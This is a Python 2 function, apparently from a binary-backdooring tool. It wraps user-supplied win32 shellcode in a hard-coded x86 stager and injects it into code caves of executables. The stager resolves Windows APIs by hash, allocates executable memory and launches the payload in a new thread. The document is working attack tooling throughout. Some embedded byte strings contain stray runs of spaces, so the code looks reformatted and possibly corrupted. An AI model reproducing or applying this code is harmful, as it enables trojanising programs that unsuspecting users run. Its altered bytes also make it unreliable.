'This module allows for the user to provide a win32 raw/binary
shellcode.  For use with the -U flag.  Make sure to use a process safe exit function.'

def user_supplied_shellcode_threaded(self, flItms, CavesPicked={}):

    flItms['stager'] = True
    if (flItms['supplied_shellcode'] is None):
        print '[!]    User    must    provide    shellcode    for    this    module    (-U)'
        return False
    else:
        self.supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
    breakupvar = eat_code_caves(flItms, 0, 1)
    if (flItms['cave_jumping'] is True):
        self.shellcode2 = '\xe8'
        if (breakupvar > 0):
            if (len(self.shellcode2) < breakupvar):
                self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - breakupvar) - len(self.shellcode2)) + 241)).rstrip('L')), 16))
            else:
                self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - len(self.shellcode2)) - breakupvar) + 241)).rstrip('L')), 16))
        else:
            self.shellcode2 += struct.pack('<I', int(str(hex((((abs(breakupvar) + len(self.stackpreserve)) + len(self.shellcode2)) + 234)).rstrip('L')), 16))
    else:
        self.shellcode2 = '\xe8\xb7\xff\xff\xff'
    if (flItms['NewCodeCave'] is False):
        if (CavesPicked != {}):
            self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])
        else:
            self.shellcode2 += ('A' * 58)
    self.shellcode2 += self.supplied_shellcode
    breakupvar = eat_code_caves(flItms, 0, 1)
    self.shellcode1 = '\xfc\x90\xe8\xc1\x00\x00\x00`\x89\xe51\xd2\x90d\x8bR0\x8bR\x0c\x8bR\x14\xeb\x02A\x10\x8br(\x0f\xb7J&1\xff1\xc0\xac<a|\x02,    \xc1\xcf\r\x01\xc7Iu\xefR\x90W\x8bR\x10\x90\x8bB<\x01\xd0\x90\x8b@x\xeb\x07\xeaHB\x04\x85|:\x85\xc0\x0f\x84h\x00\x00\x00\x90\x01\xd0P\x90\x8bH\x18\x8bX    \x01\xd3\xe3XI\x8b4\x8b\x01\xd61\xff\x901\xc0\xeb\x04\xffi\xd58\xac\xc1\xcf\r\x01\xc78\xe0\xeb\x05\x7f\x1b\xd2\xeb\xcau\xe6\x03}\xf8;}$u\xd4X\x90\x8bX$\x01\xd3\x90f\x8b\x0cK\x8bX\x1c\x01\xd3\x90\xeb\x04\xcd\x97\xf1\xb1\x8b\x04\x8b\x01\xd0\x90\x89D$$[[a\x90YZQ\xeb\x01\x0f\xff\xe0X\x90_Z\x8b\x12\xe9S\xff\xff\xff\x90]\x90\xbe'
    self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
    self.shellcode1 += '\x90j@\x90h\x00\x10\x00\x00V\x90j\x00hX\xa4S\xe5\xff\xd5\x89\xc3\x89\xc7\x90\x89\xf1'
    if (flItms['cave_jumping'] is True):
        self.shellcode1 += '\xe9'
        if (breakupvar > 0):
            if (len(self.shellcode1) < breakupvar):
                self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
            else:
                self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
        else:
            self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
    else:
        self.shellcode1 += '\xebD'
    self.shellcode1 += '\x90^'
    self.shellcode1 += '\x90\x90\x90\xf2\xa4\xe8    \x00\x00\x00\xbb\xe0\x1d*\n\x90h\xa6\x95\xbd\x9d\xff\xd5<\x06|\n\x80\xfb\xe0u\x05\xbbG\x13roj\x00S\xff\xd51\xc0PPPSPPh8h\r\x16\xff\xd5XX\x90a'
    breakupvar = eat_code_caves(flItms, 0, 2)
    if (flItms['cave_jumping'] is True):
        self.shellcode1 += '\xe9'
        if (breakupvar > 0):
            if (len(self.shellcode1) < breakupvar):
                self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
            else:
                self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
        else:
            self.shellcode1 += struct.pack('<I', int(str(hex(((((4294967295 + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3)).rstrip('L')), 16))
    else:
        self.shellcode1 += '\xe9'
        self.shellcode1 += struct.pack('<I', len(self.shellcode2))
    self.shellcode = ((self.stackpreserve + self.shellcode1) + self.shellcode2)
    return ((self.stackpreserve + self.shellcode1), self.shellcode2)
